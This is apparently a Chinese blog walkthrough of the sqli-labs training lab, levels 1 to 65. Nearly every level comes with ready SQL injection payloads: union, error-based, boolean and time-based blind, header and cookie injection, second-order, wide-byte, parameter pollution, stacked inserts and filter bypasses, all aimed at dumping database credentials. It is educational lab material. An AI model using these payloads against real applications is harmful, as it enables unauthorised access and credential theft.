sqli-labs(1-65)

Less-01

提示输入数字值的ID作为参数,输入?id=1

输入不同的id值会显示不同的信息,说明输入的内容带入到数据库里进行查询了 

 

接下来判断sql注入语句是否拼接,是数字型注入还是字符型注入 

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。 

 首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3--+

 

?id=-1' union select 1,2,3--+ 

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

 获取当前数据库名和版本

?id=1' union select 1,database(),version()--+

爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

爆字段名

?id=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名 

查询username和password字段名对应的数据

?id=-1'union select 1,2,group_concat(username , password) from users--+ 

 

Less-02 

根据结果可以判断为数字型注入,与第一关的步骤相类似

?id=1 order by 3

?id=-1 select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(username,password) from users

Less-03 

当输入?id=1'时有报错信息,可以推断sql语句是单引号字符型注入,并且有括号

?id=1')--+

?id=1') order by3--+

?id=-1') union select 1,2,3--+ 

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(username,password) from users--+

Less-04

通过报错可以知道是")闭合

?id=1")--+

?id=1") order by3--+

?id=-1") union select 1,2,3--+ 

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1")union select 1,2,group_concat(username,password) from users--+

Less-05 

根据有报错信息可知为单引号闭合

 查询语句正确时页面会打印You are in...........,错误则不显示

爆库名?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

爆列名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

updatexml()函数

updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串string(XML文档对象的名称)
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

Less-06

根据报错可以知道闭合方式为双引号

爆库名?id=1"and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名?id=1"and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

爆列名?id=1"and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

爆数据?id=1"and updatexml(1,concat(0x7e,(select username,password from users),0x7e),1)--+

Less-07

闭合方式为'))

可以使用sqlmap进行盲注

也可以是手工盲注

盲注

?id=1'and length((select database()))>9--+
大于号可以换成小于号或者等于号,主要是判断数据库的长度。length()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
substr("78909",1,1)=7 substr(a,b,c)

a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

Less-08 

注入为单引号

 且页面无报错信息,使用盲注

Less-09

不管页面输入什么显示的内容都一样

可以使用时间盲注

时间盲注
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

 Less-10

和第九关一样,但是在这儿注入方式双引号,把第九关中的单引号改为双引号即可

Less-11

当输入1时,页面出现报错

当输入1'时,根据报错信息可以推断该sql语句username='参数' and password='参数'

 知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用--+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。

判断回显点 

 

其余信息根据联合注入即可获得,与第一关一样

 Less-12

根据报错可以知道闭合方式为双引号加括号

根据回显结果可知存在注入,与第十一关一样,使用联合注入的方式获取信息 

Less-13 

根据报错可以知道闭合方式为单引号加括号

 发现页面不显示查询结果,所以需要使用报错注入

爆库名 1') and updatexml(1,concat(0x7e,(database()),0x7e),1)# 

爆表名 1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e),1)#

爆列名 1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

爆数据 1') and updatexml(1,concat(0x7e,(select username,password from users),0x7e),1)#

Less-14 

根据报错可以知道闭合方式为双引号

 

页面没有回显内容,只有登录成功的显示 

可以使用报错注入的方式获取相关信息,与第十三关一样,只需要把闭合方式改为双引号

Less-15 

输入内容时页面没有报错,这是典型的布尔盲注,因为有错误页面和正确页面作参考

(布尔盲注脚本参考Less-07)

 

 Less-16

同样页面无报错信息,有错误和正确的页面作参考,因此为布尔盲注,闭合方式为双引号加括号

(布尔盲注脚本参考Less-07)

Less-17 

根据页面展示是一个密码重置页面,也就是说已经登录系统了,然后查看源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里会用到报错注入。

extractvalue报错注入

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#     爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。

updatexml报错注入

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库  
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名 
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))# 
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。 

group_by报错注入

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#      爆数据库版本  
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#    通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#        爆出所有表


1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#    爆出所有字段名


1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#    爆出所有字段名


1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#    爆出该账户的密码。  

 

Less-18 

这关我们直接看到看到页面有一个ip,我们 可以简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的sql语句,当我们输入正确的账户名和密码我们的User-Agent字段内容就会出现在页面上。

注入点在user-agent头,使用burp suite抓包

这关一定要注意,请求正文中的uname和passwd的值一定要是数据库中存在的用户名和对应的密码,因为这关代码会先判断数据库中是否有该用户名和密码的用户,如果有才会将User-Agent和客户端ip信息写入数据库 

在user-agent使用报错注入获取信息

当我们在User-Agent后面加上单引号会出现报错,可见插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

1',2,updatexml(1,concat(0x7e,(database()),0x7e),1))#

1',2,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) )#

1',2,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#

Less-19

这关同样也是用户名和密码都正确的情况下,才会显示Referer相关的信息,插入的sql语句有两个参数一个是referfer,还有ip地址

1',updatexml(1,concat(0x7e,(database()),0x7e),1))#

1',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) )#

1',updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#

 

Less-20 

通过查看源码可知,输入正确的用户名和密码时cookie字段会显示在页面上

先登录成功之后,用burp suite抓有cookie的页面,进行注入

抓这个界面进行注入 

uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) #

uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

 

Less-21

与第二十关类似,但是抓包后的cookie部分为base64编码,因此在输入攻击语句后使用base64编码即可

uname=admin')and updatexml(1,concat(0x7e,(database()),0x7e),1)#

uname=admin') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) #

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-22 

第二十二关和第二十一关一样,但是是用双引号闭合

uname=admin"and updatexml(1,concat(0x7e,(database()),0x7e),1)#

uname=admin"and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) #

uname=admin"and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

 

 

Less-23

发现输入单引号后报错

注释符不管用,说明注释符被过滤,可以使用单引号闭合,之后使用联合注入获取信息 

判断列数时不能使用order by,需要使用?id=-1' union select 1,2,3,4 or '1'='1 

根据结果可以判断为3列,显示为2 

?id=1' or '1'='1
这样sql语句就变成 id='1' or '1'='1'

爆数据库名?id=-1' union select 1,database(),3 or '1'='1
爆表名?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 
爆列名?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
爆数据?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

 

 

Less-24 

该关卡使用的是二次注入,二次注入可以理解为攻击者构造的恶意数据被存储到数据库后,恶意数据被读取并进入到SQL查询语句的注入。

因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

首先注册一个用户名为admin'#的账号

 登录后进入修改密码的界面,对密码进行修改,修改之后使用用户名admin和刚修改的密码进行登录能够成功登录,说明修改的是管理员的密码,不是刚刚注册的用户名的密码

Less-25

第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

Less-25a 

和第二十五关一样过滤掉了or和and,但是这关的报错没有给出具体信息

判断出该关卡为数字型注入,使用联合注入获取信息

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' 

Less-26 

查看源码以下字符被过滤

常规代替空格的字符

%09 TAB 键(水平)

%0a 新建一行

%0b TAB 键(垂直)

%0c 新的一页

%0d return 功能

%a0 空格

空格的作用还可以用括号代替,一个比较不常用的注释符;%00 

该关卡为单引号闭合,使用报错注入,括号代替空格

 爆库名?id=-1'||(updatexml(1,concat(0x7e,(database()),0x7e),1));%00

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1));%00   爆表 

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1));%00     爆字段
 
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1));%00   爆密码账户

 

 

 Less-26a

这关不显示具体的报错了,无法使用报错注入

闭合方式为单引号加括号 ,使用布尔盲注

Less-27

过滤了select和union可以使用重写绕过

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1));%00  爆表
 
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1));%00  爆字段

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1));%00  爆密码账户 

 

 

Less-27a 

该题不显示报错信息

闭合方式为双引号 

过滤规则和第二十七关一样,要用联合注入和布尔盲注

爆数据库名

?id=0"uniunionon%0AseleSelectct%0A1,2,database()%0A;%00

爆表名

?  id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0A;%00

爆列名 ?  id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0A;%00

爆数据
?  id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0A;%00


 

 

Less-28 

该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过。

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security';%00


 
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0A;%00
 

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0A;%00

Less-28a 

通过分析源码,改关卡只过滤了union和select

爆数据库名?id=-1')uniunion selecton select 1,2,database()--+ 

 爆表名?id=-1')uniunion selecton select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+

爆字段名?id=-1')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+


  

 Less-29

二十九关是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

? id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+     爆表

?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+    爆字段名

?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+    爆数据


 
  

Less-30 

第三十关和第二十九关相同,将单引号改为双引号即可

? id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+     爆表

?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+    爆字段名

?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+    爆数据

 

Less-31 

 这关和第三十关差不多,多了一个括号

?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+     爆表

?id=1&id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+    爆字段名

?id=1&id=-2") union select 1,group_concat(password,username),3 from users--+    爆数据

Less-32 

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

?id=-1%df' union select 1,database(),3 --+
 
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+     爆表

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df' union select 1,group_concat(password,username),3 from users--+ 

 Less-33

第三十三关和第三十二关一模一样

Less-34

使用addslashes函数对用户名和密码进行转义,使用宽字节注入

可以通过汉字的方式绕过,一些汉字的编码为三个字节的编码,当代替%df时,可以拆开来看,前两个为一组,后面那个和\编码为一个两个字节绕过

汉' union select 1,2#

汉' union select database(),version()# 

汉'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 

汉'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273# 

汉'union select 1,group_concat(username,password) from users# 

也可以使用burp suite抓包将a对应的Hex改为df即可 

Less-35 

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在于后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+     爆表
 
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1 union select 1,group_concat(username,password),3 from users--+   爆数据

 Less-36

使用mysql_real_escape_string函数对于特殊字符进行转义,与第三十二关一样

Less-37

使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入,和第三十四关一样。

 Less-38

该关卡为单引号闭合,但是这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
向数据表插入自己的账户密码

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+  查询表名
?id=-1' union select 1,2,(select group_concat(username,password) from users)--+   查询数据


 

Less-39 

该关卡与第三十八关一样,只是这关为数字型注入,不需要闭合

Less-40

闭合方式为单引号加括号,直接使用联合注入即可

Less-41

该关卡为数字型注入,与第三十九关一样

Less-42

四十二关是因为账户进行了转义处理,密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码那里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

在账号框输入'  "都没有报错,只提示账号错误

在密码框输入'出现报错,说明存在注入点

在密码框输入'#没有报错,说明在密码框存在注入点,且为单引号闭合

判断回显位-1' union select 1,2,3#

爆库1'or updatexml(1,concat('~',database()),0)# 

爆表名1' or extractvalue(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema=database())))# 

爆字段名1' or extractvalue(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema=database() and table_name ='users')))#

爆数据1' union select 1,(select(group_concat(username,password))from users),3#

 Less-43

第四十三关和第四十二关差不多,只是这关是单引号和括号闭合的

Less-44

第四十四关和第四十二关一样

Less-45

第四十五关和第四十三关一样

Less-46

使用新的参数sort通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。

?sort=1 and (updatexml(1,concat(0x7e,(select group_concat(password,username) from users),0x7e),1))

Less-47 

第四十七关和第四十六关差不多,这关是单引号闭合,使用报错注入

Less-48

第四十八关和第四十六关差不多,但是没有报错信息,使用延时注入

Less-49

第四十九关和第四十七关差不多,但是没有报错信息,使用延时注入

Less-50

五十关和四十六关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入。

Less-51 

该关卡闭合方式为单引号闭合,可以使用报错注入,延时注入,堆叠注入

Less-52

该关卡注入方式为数字型注入,并且没有报错信息,只能使用延时注入和堆叠注入

Less-53

该关卡注入方式为字符型注入,使用单引号闭合,没有报错显示,只能使用延时注入和堆叠注入

Less-54

翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='btz5tm8xwe'--+  爆列名 

?id=-1'union select 1,group_concat(secret_I84D),3 from btz5tm8xwe--+  获取key值 

Less-55 

第五十五关是有十四次机会,id参数是加了括号的整数

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名

?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='btz5tm8xwe'--+  爆列名 

?id=-1) union select 1,group_concat(secret_I84D),3 from btz5tm8xwe--+  获取key值 

Less-56

与前面两关类似,这关需要单引号和括号

Less-57

这关是需要双引号闭合

Less-58 

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入行不通。但是有报错显示,所以可以使用报错注入。

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名

爆列名?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’ob6x8jokdg'),0x7e),1)--+

Less-59

第五十九关和第五十八关一样使用报错注入,改关卡是数字型注入

Less-60

根据报错信息可知该关卡闭合方式为双引号加括号

使用报错注入

Less-61 

根据报错信息可知闭合方式为单引号加两个括号

Less-62 

该关卡闭合方式为单引号加括号,但是没有报错信息,因此使用延时注入或者布尔盲注

第五关(布尔盲注),第九关(时间注入)

Less-63

该关卡闭合方式为单引号,且没有报错信息,使用时间注入或者布尔盲注

Less-64

和前面两个关卡一样,id是有两个括号的整型

Less-65 

和前面关卡差不多,id参数是一个括号的整型

  • 10
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值